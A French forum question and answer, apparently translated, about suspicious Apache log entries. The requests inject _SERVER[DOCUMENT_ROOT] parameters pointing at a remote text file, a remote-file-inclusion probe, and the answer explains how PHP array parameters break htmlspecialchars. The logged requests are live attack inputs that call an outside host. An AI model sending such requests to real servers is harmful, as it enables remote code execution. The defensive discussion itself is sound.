URL suspecte – quelqu’un essaie de me pirater?

Dans mon journal des erreurs Apache, j’ai trouvé la ligne suivante:

[Fri Jul 17 22:15:48.632018 2015] [:error] [pid 2784:tid 1048] [client 97.74.24.134:57050] PHP Warning: htmlspecialchars() expects parameter 1 to be ssortingng, array given in C:\\Apache24\\htdocs\\catalog\\private\\class\\ResolvedQuery.class.php on line 361 

Cette ligne s’est répétée plusieurs fois.

Dans mon journal d’access, j’ai trouvé les requêtes suivantes:

 97.74.24.134 - - [17/Jul/2015:22:15:48 +0200] "GET /electro/alle-onderdelen/merk-members/alle-toepassingen/p-1&sa=U&ved=0CMMCEBYwQDisAmoVChMI0ZbipN7ixgIVlBCSCh38DQuH&usg=AFQjCNGRKRYHEh9kOtpkREvhHSYlLrZicg////?_SERVER[DOCUMENT_ROOT]=test?? HTTP/1.1" 301 448 97.74.24.134 - - [17/Jul/2015:22:15:48 +0200] "GET /electro/alle-onderdelen/merk-members/alle-toepassingen/p-1&amp%3bsa=U&amp%3bved=0CMMCEBYwQDisAmoVChMI0ZbipN7ixgIVlBCSCh38DQuH&amp%3busg=AFQjCNGRKRYHEh9kOtpkREvhHSYlLrZicg?_SERVER[DOCUMENT_ROOT]=test?? HTTP/1.1" 200 16858 97.74.24.134 - - [17/Jul/2015:22:15:52 +0200] "GET /electro/alle-onderdelen/merk-members/alle-toepassingen/p-1&sa=U&ved=0CMMCEBYwQDisAmoVChMI0ZbipN7ixgIVlBCSCh38DQuH&usg=AFQjCNGRKRYHEh9kOtpkREvhHSYlLrZicg////?_SERVER[DOCUMENT_ROOT]=http://mironneto.com/id2.txt?? HTTP/1.1" 301 472 97.74.24.134 - - [17/Jul/2015:22:15:52 +0200] "GET /electro/alle-onderdelen/merk-members/alle-toepassingen/p-1&amp%3bsa=U&amp%3bved=0CMMCEBYwQDisAmoVChMI0ZbipN7ixgIVlBCSCh38DQuH&amp%3busg=AFQjCNGRKRYHEh9kOtpkREvhHSYlLrZicg?_SERVER[DOCUMENT_ROOT]=http://mironneto.com/id2.txt?? HTTP/1.1" 200 16858 97.74.24.134 - - [17/Jul/2015:22:15:56 +0200] "GET ////?_SERVER[DOCUMENT_ROOT]=test?? HTTP/1.1" 200 38779 97.74.24.134 - - [17/Jul/2015:22:15:59 +0200] "GET ////?_SERVER[DOCUMENT_ROOT]=http://mironneto.com/id2.txt?? HTTP/1.1" 302 189 97.74.24.134 - - [17/Jul/2015:22:16:00 +0200] "GET / HTTP/1.1" 200 12875 97.74.24.134 - - [17/Jul/2015:22:16:03 +0200] "GET /electro/alle-onderdelen/merk-members/alle-toepassingen////?_SERVER[DOCUMENT_ROOT]=test?? HTTP/1.1" 301 320 97.74.24.134 - - [17/Jul/2015:22:16:04 +0200] "GET /electro/alle-onderdelen/merk-members/alle-toepassingen?_SERVER[DOCUMENT_ROOT]=test?? HTTP/1.1" 302 189 97.74.24.134 - - [17/Jul/2015:22:16:04 +0200] "GET / HTTP/1.1" 200 12875 97.74.24.134 - - [17/Jul/2015:22:16:07 +0200] "GET /electro/alle-onderdelen/merk-members/alle-toepassingen////?_SERVER[DOCUMENT_ROOT]=http://mironneto.com/id2.txt?? HTTP/1.1" 301 344 97.74.24.134 - - [17/Jul/2015:22:16:08 +0200] "GET /electro/alle-onderdelen/merk-members/alle-toepassingen?_SERVER[DOCUMENT_ROOT]=http://mironneto.com/id2.txt?? HTTP/1.1" 302 189 97.74.24.134 - - [17/Jul/2015:22:16:08 +0200] "GET / HTTP/1.1" 200 12875 

J’utilise un fichier .htaccess pour diriger toutes les requêtes dans un fichier index.php. A partir de là, je traite la requête comme ceci:

 $query = str_replace('_url=/', '', $_SERVER['QUERY_STRING']); 

A partir de là, je fais des opérations sur $ query.

La partie du code qui déclenche l’erreur est la suivante:

 //sanitize requests array. if (!empty($_REQUEST)){ foreach($_REQUEST as $req => $value){ $p = htmlspecialchars($req); $v = htmlspecialchars($value); // THIS LINE TRIGGERS THE ERROR! $this->requests[$p] = $v; } } 

Maintenant, quel genre d’attaque est-ce? Le code présenté ici me protège-t-il de cette attaque? Et si non, que dois-je faire pour protéger contre cette attaque?

J’utilise Apache 2.4, php 5.6 sur Win7

On se demande souvent si vous pouvez passer des tableaux à $ _GET et $ _POST. Si nous prenons un exemple simple, avec un GET comme celui-ci:

 http://example.com/page.php?foo[bar]=0&foo[baz]=1 

le $_GET est un tableau avec une clé ‘foo’ qui contient un tableau avec les clés ‘bar’ et ‘baz’:

$_GET['foo']['bar']=0 et $_GET['foo']['baz']=1

Dans votre cas, quand ils demandent une page avec un paramètre comme _SERVER[DOCUMENT_ROOT]=test , ils créent ceci: $_REQUEST['_SERVER']['DOCUMENT_ROOT'] = test .

De ce fait, lorsque vous $_REQUEST sur le tableau $_REQUEST , vous ne tenez pas compte du fait que vous pouvez avoir un tableau de chaînes au lieu d’une chaîne et la fonction htmlspecialchars reçoit un tableau en argument ==> error: expects parameter 1 to be ssortingng, array given

Vous devriez vraiment réécrire votre code pour vérifier si $value est un tableau ou non, et le vérifier récursivement. Quiconque sait cela peut créer un lien vers votre site avec un tel paramètre qui est un tableau, et les visiteurs qui suivent ce lien verront une page brisée …

BTW, il peut être préférable d’utiliser séparément $_GET et $_POST au lieu de $ _REQUEST, car si vous avez la même clé dans les parameters GET et dans les parameters POST, la clé POST écrase généralement la clé GET (l’ordre peut être défini avec php) .ini).